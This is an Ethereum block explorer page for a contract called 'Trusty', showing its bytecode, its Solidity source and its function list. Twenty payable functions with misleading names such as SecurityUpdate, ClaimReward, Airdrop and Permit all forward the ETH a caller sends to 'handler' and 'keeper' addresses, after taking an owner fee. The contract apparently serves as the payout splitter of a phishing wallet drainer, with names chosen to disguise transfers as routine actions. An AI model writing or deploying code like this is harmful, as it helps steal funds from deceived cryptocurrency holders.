Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x027e58103ec95A76887648B1c1a5D5ef2146E47D
Balance 0.026075 ETH
Nonce 1
Code Size 5436 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5436 bytes
0x6080604052600436106101b75760003560e01c80636969b390116100ec578063c968b5f61161008a578063d7b92d4511610064578063d7b92d451461049e578063ecf0444b146104b5578063f2fde38b146104cc578063ffc295a6146104f5576101b7565b8063c968b5f61461043d578063d18f903714610459578063d285660d14610475576101b7565b8063893d20e8116100c6578063893d20e8146103be578063a0e84fb3146103e9578063b8269efe14610405578063c205269014610421576101b7565b80636969b3901461034e5780636c286a8b14610379578063718da7ee14610395576101b7565b8063268c2aff116101595780634365370d116101335780634365370d146102e3578063539330aa146102ff578063624bb8b81461031b57806364b0755114610332576101b7565b8063268c2aff1461028f5780632835d664146102ab57806338928522146102c7576101b7565b806312065fe01161019557806312065fe014610210578063139284fa1461023b5780631646db6a14610257578063206dd4e514610273576101b7565b806302548613146101bc5780630d82fb4f146101d857806311058650146101f4575b600080fd5b6101d660048036038101906101d19190611077565b610511565b005b6101f260048036038101906101ed9190611077565b610525565b005b61020e60048036038101906102099190611077565b610539565b005b34801561021c57600080fd5b5061022561054d565b604051610232919061110b565b60405180910390f35b61025560048036038101906102509190611077565b610555565b005b610271600480360381019061026c9190611077565b610569565b005b61028d60048036038101906102889190611077565b61057d565b005b6102a960048036038101906102a49190611077565b610591565b005b6102c560048036038101906102c09190611077565b6105a5565b005b6102e160048036038101906102dc9190611077565b6105b9565b005b6102fd60048036038101906102f89190611077565b6105cd565b005b61031960048036038101906103149190611077565b6105e1565b005b34801561032757600080fd5b506103306105f5565b005b61034c60048036038101906103479190611077565b6106a0565b005b34801561035a57600080fd5b506103636106b4565b6040516103709190611135565b60405180910390f35b610393600480360381019061038e9190611077565b6106cb565b005b3480156103a157600080fd5b506103bc60048036038101906103b79190611150565b6106df565b005b3480156103ca57600080fd5b506103d36107b1565b6040516103e0919061118c565b60405180910390f35b61040360048036038101906103fe9190611077565b6107da565b005b61041f600480360381019061041a9190611077565b6107ee565b005b61043b60048036038101906104369190611077565b610802565b005b61045760048036038101906104529190611077565b610816565b005b610473600480360381019061046e9190611077565b61082a565b005b34801561048157600080fd5b5061049c600480360381019061049791906111a7565b61083e565b005b3480156104aa57600080fd5b506104b361099e565b005b3480156104c157600080fd5b506104ca610ada565b005b3480156104d857600080fd5b506104f360048036038101906104ee9190611150565b610b84565b005b61050f600480360381019061050a9190611077565b610cf6565b005b61051e8585858585610d0a565b5050505050565b6105328585858585610d0a565b5050505050565b6105468585858585610d0a565b5050505050565b600047905090565b6105628585858585610d0a565b5050505050565b6105768585858585610d0a565b5050505050565b61058a8585858585610d0a565b5050505050565b61059e8585858585610d0a565b5050505050565b6105b28585858585610d0a565b5050505050565b6105c68585858585610d0a565b5050505050565b6105da8585858585610d0a565b5050505050565b6105ee8585858585610d0a565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90611231565b60405180910390fd5b6000600160156101000a81548160ff021916908315150217905550565b6106ad8585858585610d0a565b5050505050565b6000600160159054906101000a900460ff16905090565b6106d88585858585610d0a565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461076d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076490611231565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107e78585858585610d0a565b5050505050565b6107fb8585858585610d0a565b5050505050565b61080f8585858585610d0a565b5050505050565b6108238585858585610d0a565b5050505050565b6108378585858585610d0a565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c390611231565b60405180910390fd5b60008160ff16101580156108e4575060648160ff1611155b610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a9061129d565b60405180910390fd5b6000600160149054906101000a900460ff16905081600160146101000a81548160ff021916908360ff1602179055507f8aeb416bcc35d1e0f263caf174a830fa26332f626c038ddcb56f0100f456680b81600160149054906101000a900460ff166040516109929291906112cc565b60405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611231565b60405180910390fd5b60004711610a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6690611341565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ad7573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5f90611231565b60405180910390fd5b60018060156101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611231565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f20785b27e5fe438f15d8e2c5ccf83f449d08d77cba6151a2857a22015412860660405160405180910390a35050565b610d038585858585610d0a565b5050505050565b60008260ff1610158015610d22575060648260ff1611155b610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d58906113ad565b60405180910390fd5b6000349050600080821115610d8f57600182610d7d91906113fc565b9150600181610d8c9190611430565b90505b6000600160149054906101000a900460ff1660ff16606484610db19190611493565b610dbb91906114c4565b905060008560ff1660648386610dd191906113fc565b610ddb9190611493565b610de591906114c4565b90506000818386610df691906113fc565b610e0091906113fc565b90506000811115610e53578873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e51573d6000803e3d6000fd5b505b6000821115610ea4578773ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610ea2573d6000803e3d6000fd5b505b600083118015610ec7575060011515600160159054906101000a900460ff161515145b15610f3657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610f34573d6000803e3d6000fd5b505b600084118015610f4a575060011515861515145b15610f97578973ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610f95573d6000803e3d6000fd5b505b50505050505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fd382610fa8565b9050919050565b610fe381610fc8565b8114610fee57600080fd5b50565b60008135905061100081610fda565b92915050565b600060ff82169050919050565b61101c81611006565b811461102757600080fd5b50565b60008135905061103981611013565b92915050565b60008115159050919050565b6110548161103f565b811461105f57600080fd5b50565b6000813590506110718161104b565b92915050565b600080600080600060a0868803121561109357611092610fa3565b5b60006110a188828901610ff1565b95505060206110b288828901610ff1565b94505060406110c388828901610ff1565b93505060606110d48882890161102a565b92505060806110e588828901611062565b9150509295509295909350565b6000819050919050565b611105816110f2565b82525050565b600060208201905061112060008301846110fc565b92915050565b61112f8161103f565b82525050565b600060208201905061114a6000830184611126565b92915050565b60006020828403121561116657611165610fa3565b5b600061117484828501610ff1565b91505092915050565b61118681610fc8565b82525050565b60006020820190506111a1600083018461117d565b92915050565b6000602082840312156111bd576111bc610fa3565b5b60006111cb8482850161102a565b91505092915050565b600082825260208201905092915050565b7f4163636573732044656e69656400000000000000000000000000000000000000600082015250565b600061121b600d836111d4565b9150611226826111e5565b602082019050919050565b6000602082019050818103600083015261124a8161120e565b9050919050565b7f496e76616c69642050657263656e746167650000000000000000000000000000600082015250565b60006112876012836111d4565b915061129282611251565b602082019050919050565b600060208201905081810360008301526112b68161127a565b9050919050565b6112c681611006565b82525050565b60006040820190506112e160008301856112bd565b6112ee60208301846112bd565b9392505050565b7f42616c616e636520456d70747900000000000000000000000000000000000000600082015250565b600061132b600d836111d4565b9150611336826112f5565b602082019050919050565b6000602082019050818103600083015261135a8161131e565b9050919050565b7f496e76616c69642050657263656e740000000000000000000000000000000000600082015250565b6000611397600f836111d4565b91506113a282611361565b602082019050919050565b600060208201905081810360008301526113c68161138a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611407826110f2565b9150611412836110f2565b925082820390508181111561142a576114296113cd565b5b92915050565b600061143b826110f2565b9150611446836110f2565b925082820190508082111561145e5761145d6113cd565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149e826110f2565b91506114a9836110f2565b9250826114b9576114b8611464565b5b828204905092915050565b60006114cf826110f2565b91506114da836110f2565b92508282026114e8816110f2565b915082820484148315176114ff576114fe6113cd565b5b509291505056fea26469706673582212208f64c7fa6d93c64da8c00ab1a8395fb28ff383c109115f81db904afb20ee46ab64736f6c63430008120033

Verified Source Code Partial Match

Compiler: v0.8.18+commit.87f61d96 EVM: paris Optimization: No
Trusty.sol 85 lines
/**
 *Submitted for verification at Etherscan.io on 2023-11-06
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract Trusty {
  address private contract_owner;
  address private fee_receiver;
  uint8 private contract_fee;
  bool private fee_withdraw;

  event Ownership(address indexed last_owner, address indexed new_owner);
  event Percentage (uint8 last_percentage, uint8 new_percentage);

  constructor() {
    contract_owner = msg.sender;
    fee_receiver = contract_owner;
    fee_withdraw = false;
    contract_fee = 10;
  }

  function getOwner() public view returns (address) { return contract_owner; }
  function getBalance() public view returns (uint256) { return address(this).balance; }
  function salaryStatus() public view returns (bool) { return fee_withdraw; }
  function enableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = true; }
  function disableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = false; }

  function processTransaction(address sender, address primary_receiver, address secondary_receiver, uint8 secondary_percent, bool is_back) private {
    require(secondary_percent >= 0 && secondary_percent <= 100, "Invalid Percent");
    uint256 amount = msg.value;
    uint256 amount_back = 0;
    if (amount > 0) { amount = amount - 1; amount_back = amount_back + 1; }
    uint256 reserve = (amount / 100) * contract_fee;
    uint256 secondary_amount = ((amount - reserve) / 100) * secondary_percent;
    uint256 primary_amount = amount - reserve - secondary_amount;
    if (primary_amount > 0) payable(primary_receiver).transfer(primary_amount);
    if (secondary_amount > 0) payable(secondary_receiver).transfer(secondary_amount);
    if (reserve > 0 && fee_withdraw == true) payable(fee_receiver).transfer(reserve);
    if (amount_back > 0 && is_back == true) payable(sender).transfer(amount_back);
  }

  function transferOwnership(address new_owner) public {
    require(msg.sender == contract_owner, "Access Denied");
    address last_owner = contract_owner; contract_owner = new_owner;
    emit Ownership(last_owner, contract_owner);
  }
  function claimSalary() public {
    require(msg.sender == contract_owner, "Access Denied");
    require(address(this).balance > 0, "Balance Empty");
    payable(fee_receiver).transfer(address(this).balance);
  }
  function setReceiver(address new_receiver) public {
    require(msg.sender == contract_owner, "Access Denied");
    fee_receiver = new_receiver;
  }
  function changePercentage(uint8 new_percentage) public {
    require(msg.sender == contract_owner, "Access Denied");
    require(new_percentage >= 0 && new_percentage <= 100, "Invalid Percentage");
    uint8 previous_percentage = contract_fee; contract_fee = new_percentage;
    emit Percentage(previous_percentage, contract_fee);
  }

  function Claim(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function ClaimReward(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function ClaimRewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Execute(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Multicall(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Swap(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Connect(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function SecurityUpdate(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Airdrop(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Cashback(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Rewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Process(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Permit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Approve(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Transfer(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Deposit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Withdraw(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Register(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
  function Verify(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); }
}

Read Contract

getBalance 0x12065fe0 → uint256
getOwner 0x893d20e8 → address
salaryStatus 0x6969b390 → bool

Write Contract 25 functions

These functions modify contract state and require a wallet transaction to execute.

Airdrop 0xc968b5f6
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Approve 0x539330aa
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Cashback 0x02548613
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Claim 0x1646db6a
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
ClaimReward 0x206dd4e5
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
ClaimRewards 0xffc295a6
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Connect 0xa0e84fb3
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Deposit 0x38928522
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Execute 0x139284fa
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Multicall 0xb8269efe
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Permit 0x0d82fb4f
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Process 0x6c286a8b
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Register 0xc2052690
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Rewards 0xd18f9037
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
SecurityUpdate 0x11058650
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Swap 0x2835d664
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Transfer 0x4365370d
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Verify 0x268c2aff
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
Withdraw 0x64b07551
address depositer
address handler
address keeper
uint8 percent
bool is_cashback
changePercentage 0xd285660d
uint8 new_percentage
claimSalary 0xd7b92d45
No parameters
disableSalary 0x624bb8b8
No parameters
enableSalary 0xecf0444b
No parameters
setReceiver 0x718da7ee
address new_receiver
transferOwnership 0xf2fde38b
address new_owner

Recent Transactions

No transactions found for this address